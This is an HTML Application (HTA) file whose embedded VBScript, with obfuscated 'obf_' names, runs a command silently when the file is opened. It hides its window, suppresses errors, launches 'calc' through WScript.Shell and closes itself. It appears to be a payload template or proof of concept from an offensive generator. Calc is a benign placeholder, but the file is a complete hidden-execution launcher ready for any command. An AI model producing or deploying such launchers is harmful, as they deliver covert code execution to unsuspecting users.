<!DOCTYPE html>
<html>
<head>
<hta:application icon="" windowstate="normal" showintaskbar="no" sysmenu="no" caption="no" border="none" scroll="no"/>
<script type="text/vbscript">
window.resizeTo 0,0
On Error Resume Next
Sub obf_Runtime()
    obf_MacroEntryPoint
End Sub

Sub obf_GeneratorEntryPoint()
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "calc"

End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub obf_LaunchCommand(ByVal obf_command)
    Dim obf_launcher
    Dim obf_cmd

    With CreateObject("WScript.Shell")
        With .Exec(obf_command)
            .Terminate
        End With
    End With
End Sub

obf_Runtime
Window.Close()
</script>
</head>
<body>
</body>
</html>